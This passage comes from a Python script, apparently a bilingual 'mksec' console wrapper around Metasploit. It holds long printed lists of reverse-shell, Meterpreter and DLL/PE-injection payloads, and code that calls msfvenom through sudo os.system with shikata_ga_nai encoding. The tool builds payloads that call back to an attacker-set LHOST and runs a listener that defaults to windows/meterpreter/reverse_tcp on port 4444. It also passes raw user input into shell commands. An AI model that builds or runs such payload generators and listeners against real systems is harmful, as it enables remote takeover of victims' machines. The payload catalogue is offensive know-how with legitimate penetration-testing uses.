x86)\nwindows/vncinject/find_tag Inject a VNC Dll via a reflective loader (staged). Use an established connection\nwindows/vncinject/reverse_hop_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.\nwindows/vncinject/reverse_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows wininet)\nwindows/vncinject/reverse_http_proxy_pstore Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP\nwindows/vncinject/reverse_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker over IPv6\nwindows/vncinject/reverse_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker (No NX)\nwindows/vncinject/reverse_ord_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_allports Inject a VNC Dll via a reflective loader (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)\nwindows/vncinject/reverse_tcp_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_rc4_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker\nwindows/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker with UUID Support\nwindows/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows winhttp)\nwindows/x64/exec Execute an arbitrary command (Windows x64)\nwindows/x64/loadlibrary Load an arbitrary x64 library path\nwindows/x64/messagebox Spawn a dialog via MessageBox using a customizable title, text & icon\nwindows/x64/meterpreter/bind_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection (Windows x64)\nwindows/x64/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/meterpreter/bind_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a pipe connection (Windows x64)\nwindows/x64/meterpreter/bind_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection (Windows x64)\nwindows/x64/meterpreter/bind_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/x64/meterpreter/bind_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Listen for a connection with UUID Support (Windows x64)\nwindows/x64/meterpreter/reverse_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/meterpreter/reverse_https Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/meterpreter/reverse_named_pipe Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker via a named pipe pivot\nwindows/x64/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker (Windows x64)\nwindows/x64/meterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker\nwindows/x64/meterpreter/reverse_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTP (Windows x64 winhttp)\nwindows/x64/meterpreter/reverse_winhttps Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Requires Windows XP SP2 or newer. Tunnel communication over HTTPS (Windows x64 winhttp)\nwindows/x64/meterpreter_bind_named_pipe Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.\nwindows/x64/peinject/bind_ipv6_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection (Windows x64)\nwindows/x64/peinject/bind_ipv6_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/peinject/bind_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a pipe connection (Windows x64)\nwindows/x64/peinject/bind_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connection(Windows x64)\nwindows/x64/peinject/bind_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker\nwindows/x64/peinject/bind_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Listen for a connectionwith UUID Support (Windows x64)\nwindows/x64/peinject/reverse_named_pipe Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker via a named pipe pivot\nwindows/x64/peinject/reverse_tcp Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker (Windows x64)\nwindows/x64/peinject/reverse_tcp_rc4 Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker\nwindows/x64/peinject/reverse_tcp_uuid Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE loader will execute the pre-mapped PE image starting from the address ofentry after performing image base relocation and API address resolution. This module requires a PE file that contains relocation data and a valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks are not currently supported. Also PE files which use resource loading might crash. Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/pingback_reverse_tcp Connect back to attacker and report UUID (Windows x64)\nwindows/x64/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session\nwindows/x64/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session\nwindows/x64/shell/bind_ipv6_tcp Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)\nwindows/x64/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/shell/bind_named_pipe Spawn a piped command shell (Windows x64) (staged). Listen for a pipe connection (Windows x64)\nwindows/x64/shell/bind_tcp Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)\nwindows/x64/shell/bind_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker\nwindows/x64/shell/bind_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)\nwindows/x64/shell/reverse_tcp Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)\nwindows/x64/shell/reverse_tcp_rc4 Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker\nwindows/x64/shell/reverse_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64)\nwindows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64)\nwindows/x64/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)\nwindows/x64/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)\nwindows/x64/vncinject/bind_named_pipe Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a pipe connection (Windows x64)\nwindows/x64/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)\nwindows/x64/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker\nwindows/x64/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)\nwindows/x64/vncinject/reverse_http Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/vncinject/reverse_https Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)\nwindows/x64/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)\nwindows/x64/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker\nwindows/x64/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)\nwindows/x64/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)\nwindows/x64/vncinject/reverse_winhttps Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)\n""") elif "run" == uinput.lower(): os.system("sudo msfvenom -p " + payload.strip() + " LHOST=" + host.strip() + " LPORT=" + port.strip() + " -e x86/shikata_ga_nai -i 6 -f " + format.strip() + " -o " + output.strip()) elif "run -f" == uinput.lower(): os.system("cd /opt/metasploit-framework/ && sudo ./msfvenom -p " + payload.strip() + " LHOST=" + host.strip() + " LPORT=" + port.strip() + " -e x86/shikata_ga_nai -i 6 -f " + format.strip() + " -o " + output.strip()) def PayloadListener(): payload = " windows/meterpreter/reverse_tcp " host = " <IP> " port = " 4444 " youriface = os.popen('ip addr').read().split("2:")[1].split(":")[0] ipv4 = os.popen('ip addr show {}'.format(youriface)).read().split("inet ")[1].split("/")[0] while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[listener]\033[37m\x1b[0m ") UserInputs(uinput+"exp") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mPayload is a listening tool. Edited by mksec using the 'exploit/multi/handler' module in the Metasploit tool. \x1b[36m'run'\x1b[37m command does not work, try with \x1b[36m'run -f'\x1b[37m (-f : --force). \n\x1b[33mTR:\x1b[37mPayload dinleme aracıdır. Metasploit aracı içerisindeki 'exploit/multi/handler' modülünü kullanarak mksec tarafından düzenlenmiştir. \x1b[36m'run'\x1b[37m komutu çalışmazsa \x1b[36m'run -f'\x1b[37m (-f : --force) ile deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nPAYLOAD{} YES Type '--list payloads' or '-lp' to see payloads \x1b[32mDefault: windows/meterpreter/reverse_tcp\x1b[37m\nLHOST {} YES Your IP address = \x1b[32m{}\x1b[37m\nLPORT {} YES Type in port \x1b[32mDefault = 4444\x1b[37m".format(payload,host,ipv4,port)) elif "set payload" in uinput.lower(): payload = uinput payload = payload.replace("set payload ","").replace("set PAYLOAD ","").replace("SET payload ","").replace("SET PAYLOAD ","").center(50) elif "set lhost" in uinput.lower(): host = uinput host = host.replace("set lhost ","").replace("set LHOST ","").replace("SET lhost ","").replace("SET LHOST ","").center(50) elif "set lport" in uinput.lower(): port = uinput port = port.replace("set lport ","").replace("set LPORT ","").replace("SET lport ","").replace("SET LPORT ","").center(50) elif "--list payload" in uinput or "-lp" == uinput.lower(): print("""\x1b[1m\x1b[33mFramework Payloads (592 total)\x1b[37m\n\x1b[33m==================================================\x1b[37m\n\n\x1b[33mName\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m----\x1b[37m \x1b[33m-----------\x1b[37m\naix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell\naix/ppc/shell_find_port Spawn a shell on an established connection\naix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)\naix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nandroid/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP\nandroid/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS\nandroid/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager\nandroid/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell\nandroid/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell\nandroid/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell\nandroid/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP\nandroid/shell/reverse_https Spawn a piped command shell (sh). Tunnel communication over HTTPS\nandroid/shell/reverse_tcp Spawn a piped command shell (sh). Connect back stager\napple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\napple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\napple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\napple_ios/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell\napple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\napple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\napple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nbsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell\nbsd/sparc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/vax/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/x64/exec Execute an arbitrary command\nbsd/x64/shell_bind_ipv6_tcp Listen for a connection and spawn a command shell over IPv6\nbsd/x64/shell_bind_tcp Bind an arbitrary command to an arbitrary port\nbsd/x64/shell_bind_tcp_small Listen for a connection and spawn a command shell\nbsd/x64/shell_reverse_ipv6_tcp Connect back to attacker and spawn a command shell over IPv6\nbsd/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/x64/shell_reverse_tcp_small Connect back to attacker and spawn a command shell\nbsd/x86/exec Execute an arbitrary command\nbsd/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service\nbsd/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service\nbsd/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for a connection over IPv6\nbsd/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nbsd/x86/shell/find_tag Spawn a command shell (staged). Use an established connection\nbsd/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to the attacker over IPv6\nbsd/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nbsd/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nbsd/x86/shell_bind_tcp_ipv6 Listen for a connection and spawn a command shell over IPv6\nbsd/x86/shell_find_port Spawn a shell on an established connection\nbsd/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)\nbsd/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\nbsd/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6\nbsdi/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection\nbsdi/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nbsdi/x86/shell_bind_tcp Listen for a connection and spawn a command shell\nbsdi/x86/shell_find_port Spawn a shell on an established connection\nbsdi/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell\ncmd/mainframe/apf_privesc_jcl (Elevate privileges for user. Adds SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using an unsecured/updateable APF authorized library (APFLIB) and updating the user's ACEE using this program/library. Note: This privesc only works with z/OS systems using RACF, no other ESM is supported.)\ncmd/mainframe/bind_shell_jcl Provide JCL which creates a bind shell This implmentation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.\ncmd/mainframe/generic_jcl Provide JCL which can be used to submit a job to JES2 on z/OS which will exit and return 0. This can be used as a template for other JCL based payloads\ncmd/mainframe/reverse_shell_jcl Provide JCL which creates a reverse shell This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.\ncmd/unix/bind_awk Listen for a connection and spawn a command shell via GNU AWKcmd/unix/bind_busybox_telnetd Listen for a connection and spawn a command shell via BusyBox telnetdcmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)cmd/unix/bind_jjs Listen for a connection and spawn a command shell via jjs\ncmd/unix/bind_lua Listen for a connection and spawn a command shell via Lua\ncmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat\ncmd/unix/bind_netcat_gaping Listen for a connection and spawn a command shell via netcat\ncmd/unix/bind_netcat_gaping_ipv6 Listen for a connection and spawn a command shell via netcat\ncmd/unix/bind_nodejs Continually listen for a connection and spawn a command shell via nodejs\ncmd/unix/bind_perl Listen for a connection and spawn a command shell via perl\ncmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl\ncmd/unix/bind_r Continually listen for a connection and spawn a command shell via R\ncmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby\ncmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby\ncmd/unix/bind_socat_udp Creates an interactive shell via socat\ncmd/unix/bind_stub Listen for a connection and spawn a command shell (stub only, no payload)\ncmd/unix/bind_zsh Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.\ncmd/unix/generic Executes the supplied command\ncmd/unix/interact Interacts with a shell on an established socket connection\ncmd/unix/pingback_bind Accept a connection, send a UUID, then exit\ncmd/unix/pingback_reverse Creates a socket, send a UUID, then exit\ncmd/unix/reverse Creates an interactive shell through two inbound connections\ncmd/unix/reverse_awk Creates an interactive shell via GNU AWK\ncmd/unix/reverse_bash Creates an interactive shell via bash's builtin /dev/tcp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bashwithout the /dev/tcp feature.\ncmd/unix/reverse_bash_telnet_ssl Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.\ncmd/unix/reverse_bash_udp Creates an interactive shell via bash's builtin /dev/udp. This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bashwithout the /dev/udp feature.\ncmd/unix/reverse_jjs Connect back and create a command shell via jjs\ncmd/unix/reverse_ksh Connect back and create a command shell via Ksh. Note: Although Ksh is often available, please be aware it isn't usually installed by default.\ncmd/unix/reverse_lua Creates an interactive shell via Lua\ncmd/unix/reverse_ncat_ssl Creates an interactive shell via ncat, utilizing ssl mode\ncmd/unix/reverse_netcat Creates an interactive shell via netcat\ncmd/unix/reverse_netcat_gaping Creates an interactive shell via netcat\ncmd/unix/reverse_nodejs Continually listen for a connection and spawn a command shell via nodejs\ncmd/unix/reverse_openssl Creates an interactive shell through two inbound connections\ncmd/unix/reverse_perl Creates an interactive shell via perl\ncmd/unix/reverse_perl_ssl Creates an interactive shell via perl, uses SSL\ncmd/unix/reverse_php_ssl Creates an interactive shell via php, uses SSL\ncmd/unix/reverse_python Connect back and create a command shell via Python\ncmd/unix/reverse_python_ssl Creates an interactive shell via python, uses SSL, encodes with base64 by design.\ncmd/unix/reverse_r Connect back and create a command shell via R\ncmd/unix/reverse_ruby Connect back and create a command shell via Ruby\ncmd/unix/reverse_ruby_ssl Connect back and create a command shell via Ruby, uses SSL\ncmd/unix/reverse_socat_udp Creates an interactive shell via socat\ncmd/unix/reverse_ssh Connect back and create a command shell via SSH\ncmd/unix/reverse_ssl_double_telnet Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option\ncmd/unix/reverse_stub Creates an interactive shell through an inbound connection (stub only, no payload)\ncmd/unix/reverse_tclsh Creates an interactive shell via Tclsh\ncmd/unix/reverse_zsh Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.\ncmd/windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)\ncmd/windows/bind_lua Listen for a connection and spawn a command shell via Lua\ncmd/windows/bind_perl Listen for a connection and spawn a command shell via perl (persistent)\ncmd/windows/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl (persistent)\ncmd/windows/bind_ruby Continually listen for a connection and spawn a command shell via Ruby\ncmd/windows/download_eval_vbs Downloads a file from an HTTP(S) URL and executes it as a vbs script. Use it to stage a vbs encoded payload from a short command line.\ncmd/windows/download_exec_vbs Download an EXE from an HTTP(S) URL and execute it\ncmd/windows/generic Executes the supplied command\ncmd/windows/powershell_bind_tcp Interacts with a powershell session on an established socket connection\ncmd/windows/powershell_reverse_tcp Interacts with a powershell session on an established socket connection\ncmd/windows/reverse_lua Creates an interactive shell via Lua\ncmd/windows/reverse_perl Creates an interactive shell via perl\ncmd/windows/reverse_powershell Connect back and create a command shell via Powershell\ncmd/windows/reverse_ruby Connect back and create a command shell via Ruby\nfirefox/exec This module runs a shell command on the target OS without touching the disk. On Windows, this command will flash the command prompt momentarily. This can be avoided by setting WSCRIPT to true, which drops a jscript "launcher" to disk that hides the prompt.\nfirefox/shell_bind_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API\nfirefox/shell_reverse_tcp Creates an interactive shell via Javascript with access to Firefox's XPCOM API\ngeneric/custom Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR.\ngeneric/debug_trap Generate a debug trap in the target process\ngeneric/shell_bind_tcp Listen for a connection and spawn a command shell\ngeneric/shell_reverse_tcp Connect back to attacker and spawn a command shell\ngeneric/tight_loop Generate a tight loop in the target process\njava/jsp_shell_bind_tcp Listen for a connection and spawn a command shell\njava/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell\njava/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection\njava/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP\njava/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS\njava/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager\njava/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection\njava/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager\njava/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/aarch64/shell/reverse_tcp dup2 socket in x12, then execve. Connect back to the attacker\nlinux/aarch64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/armbe/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/armle/adduser Create a new user with UID 0\nlinux/armle/exec Execute an arbitrary command\nlinux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection\nlinux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/armle/shell/bind_tcp dup2 socket in r12, then execve. Listen for a connection\nlinux/armle/shell/reverse_tcp dup2 socket in r12, then execve. Connect back to the attacker\nlinux/armle/shell_bind_tcp Connect to target and spawn a command shell\nlinux/armle/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/mips64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/mips64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/mips64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes.\nlinux/mipsbe/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/mipsbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsbe/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes or executing other payloads that rely on initial startup procedures.\nlinux/mipsbe/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/mipsbe/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/mipsbe/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/mipsle/exec A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.\nlinux/mipsle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker\nlinux/mipsle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/mipsle/reboot A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.\nlinux/mipsle/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker\nlinux/mipsle/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/mipsle/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/ppc/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)\nlinux/ppc/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/ppc/shell_find_port Spawn a shell on an established connection\nlinux/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/ppc64/shell_bind_tcp Listen for a connection and spawn a command shell\nlinux/ppc64/shell_find_port Spawn a shell on an established connection\nlinux/ppc64/shell_reverse_tcp Connect back to attacker and spawn a command shell\nlinux/ppc64le/meterpreter_reverse_http Run the 